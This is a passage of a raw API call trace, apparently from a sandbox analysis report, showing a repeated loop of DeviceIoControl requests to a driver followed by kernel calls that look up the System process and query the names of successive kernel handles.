nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.322] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.322] PsAcquireProcessExitSynchronization () returned 0x0 [0119.322] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.322] ObReferenceObjectByHandle (in: Handle=0xffffffff8000012c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8004871f20, HandleInformation=0x0) returned 0x0 [0119.322] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.322] PsReleaseProcessExitSynchronization () returned 0x2 [0119.322] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.322] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.322] ObfDereferenceObject (Object=0xfffffa8004871f20) returned 0x1 [0119.322] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.322] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.322] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.322] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.322] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.322] PsAcquireProcessExitSynchronization () returned 0x0 [0119.322] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.322] ObReferenceObjectByHandle (in: Handle=0xffffffff80000130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8004870050, HandleInformation=0x0) returned 0x0 [0119.322] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.322] PsReleaseProcessExitSynchronization () returned 0x2 [0119.322] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.322] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.322] ObfDereferenceObject (Object=0xfffffa8004870050) returned 0x1 [0119.322] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.322] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.322] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.322] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.322] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.322] PsAcquireProcessExitSynchronization () returned 0x0 [0119.322] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.323] ObReferenceObjectByHandle (in: Handle=0xffffffff80000134, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8007ffc050, HandleInformation=0x0) returned 0x0 [0119.323] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.323] PsReleaseProcessExitSynchronization () returned 0x2 [0119.323] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.323] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.323] ObfDereferenceObject (Object=0xfffffa8007ffc050) returned 0x1 [0119.323] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.323] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.323] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.323] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.323] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.323] PsAcquireProcessExitSynchronization () returned 0x0 [0119.323] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.323] ObReferenceObjectByHandle (in: Handle=0xffffffff80000138, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8008fae050, HandleInformation=0x0) returned 0x0 [0119.323] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.323] PsReleaseProcessExitSynchronization () returned 0x2 [0119.323] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.323] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.323] ObfDereferenceObject (Object=0xfffffa8008fae050) returned 0x1 [0119.323] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.323] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.323] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.323] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0119.323] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.323] PsAcquireProcessExitSynchronization () returned 0x0 [0119.323] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.323] ObReferenceObjectByHandle (in: Handle=0xffffffff8000013c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8006dfd050, HandleInformation=0x0) returned 0x0 [0119.323] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.323] PsReleaseProcessExitSynchronization () returned 0x2 [0119.323] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.323] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.323] ObfDereferenceObject (Object=0xfffffa8006dfd050) returned 0x1 [0119.323] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.323] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.323] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.324] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0119.324] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.324] PsAcquireProcessExitSynchronization () returned 0x0 [0119.324] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.324] ObReferenceObjectByHandle (in: Handle=0xffffffff80000140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002910f20, HandleInformation=0x0) returned 0x0 [0119.324] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.324] PsReleaseProcessExitSynchronization () returned 0x2 [0119.324] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.324] ObQueryNameString (in: Object=0xfffffa8002910f20, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.324] ObfDereferenceObject (Object=0xfffffa8002910f20) returned 0x1 [0119.324] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.324] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.324] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.324] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0119.324] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.324] PsAcquireProcessExitSynchronization () returned 0x0 [0119.324] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.324] ObReferenceObjectByHandle (in: Handle=0xffffffff80000148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003be2f20, HandleInformation=0x0) returned 0x0 [0119.324] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.324] PsReleaseProcessExitSynchronization () returned 0x2 [0119.324] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.324] ObQueryNameString (in: Object=0xfffffa8003be2f20, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.324] ObfDereferenceObject (Object=0xfffffa8003be2f20) returned 0x1 [0119.324] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.324] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.324] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.324] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0119.324] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.324] PsAcquireProcessExitSynchronization () returned 0x0 [0119.324] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.324] ObReferenceObjectByHandle (in: Handle=0xffffffff80000154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80043f1b50, HandleInformation=0x0) returned 0x0 [0119.324] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.325] PsReleaseProcessExitSynchronization () returned 0x2 [0119.325] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18e [0119.417] ObQueryNameString (in: Object=0xfffffa80043f1b50, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.418] ObfDereferenceObject (Object=0xfffffa80043f1b50) returned 0x1 [0119.418] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.418] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.418] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.418] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0119.418] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.418] PsAcquireProcessExitSynchronization () returned 0x0 [0119.418] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.418] ObReferenceObjectByHandle (in: Handle=0xffffffff80000158, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80067fad00, HandleInformation=0x0) returned 0x0 [0119.418] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.418] PsReleaseProcessExitSynchronization () returned 0x2 [0119.418] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.418] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.418] ObfDereferenceObject (Object=0xfffffa80067fad00) returned 0x1 [0119.418] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.419] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.419] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.419] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0119.419] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.419] PsAcquireProcessExitSynchronization () returned 0x0 [0119.419] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.419] ObReferenceObjectByHandle (in: Handle=0xffffffff8000015c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003673de0, HandleInformation=0x0) returned 0x0 [0119.419] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.419] PsReleaseProcessExitSynchronization () returned 0x2 [0119.419] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.419] ObQueryNameString (in: Object=0xfffffa8003673de0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.419] ObfDereferenceObject (Object=0xfffffa8003673de0) returned 0x2 [0119.419] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.419] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.419] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.420] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x4a, lpOverlapped=0x0) returned 1 [0119.420] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.420] PsAcquireProcessExitSynchronization () returned 0x0 [0119.420] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.420] ObReferenceObjectByHandle (in: Handle=0xffffffff80000160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80043f1400, HandleInformation=0x0) returned 0x0 [0119.420] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.420] PsReleaseProcessExitSynchronization () returned 0x2 [0119.420] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.420] ObQueryNameString (in: Object=0xfffffa80043f1400, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.420] ObfDereferenceObject (Object=0xfffffa80043f1400) returned 0x1 [0119.420] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.420] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.420] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.420] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0119.420] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.420] PsAcquireProcessExitSynchronization () returned 0x0 [0119.420] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.420] ObReferenceObjectByHandle (in: Handle=0xffffffff80000164, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002df8f20, HandleInformation=0x0) returned 0x0 [0119.420] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.420] PsReleaseProcessExitSynchronization () returned 0x2 [0119.420] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.420] ObQueryNameString (in: Object=0xfffffa8002df8f20, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.420] ObfDereferenceObject (Object=0xfffffa8002df8f20) returned 0x1 [0119.420] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.420] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.420] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.420] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0119.420] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.420] PsAcquireProcessExitSynchronization () returned 0x0 [0119.420] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.420] ObReferenceObjectByHandle (in: Handle=0xffffffff80000168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002df8c90, HandleInformation=0x0) returned 0x0 [0119.420] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.420] PsReleaseProcessExitSynchronization () returned 0x2 [0119.420] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.420] ObQueryNameString (in: Object=0xfffffa8002df8c90, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.420] ObfDereferenceObject (Object=0xfffffa8002df8c90) returned 0x1 [0119.421] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.421] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.421] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.421] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0119.421] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.421] PsAcquireProcessExitSynchronization () returned 0x0 [0119.421] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.421] ObReferenceObjectByHandle (in: Handle=0xffffffff8000016c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8004bd9e60, HandleInformation=0x0) returned 0x0 [0119.421] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.421] PsReleaseProcessExitSynchronization () returned 0x2 [0119.421] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.421] ObQueryNameString (in: Object=0xfffffa8004bd9e60, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.421] ObfDereferenceObject (Object=0xfffffa8004bd9e60) returned 0x1 [0119.421] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.421] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.421] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.421] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0119.421] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.421] PsAcquireProcessExitSynchronization () returned 0x0 [0119.421] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.421] ObReferenceObjectByHandle (in: Handle=0xffffffff80000170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002df9bd0, HandleInformation=0x0) returned 0x0 [0119.421] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.421] PsReleaseProcessExitSynchronization () returned 0x2 [0119.421] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.421] ObQueryNameString (in: Object=0xfffffa8002df9bd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.421] ObfDereferenceObject (Object=0xfffffa8002df9bd0) returned 0x1 [0119.421] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.421] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.421] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.421] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xa8, lpOverlapped=0x0) returned 1 [0119.421] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.421] PsAcquireProcessExitSynchronization () returned 0x0 [0119.422] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.422] ObReferenceObjectByHandle (in: Handle=0xffffffff80000194, DesiredAccess=0x0, ObjectType=0x0, 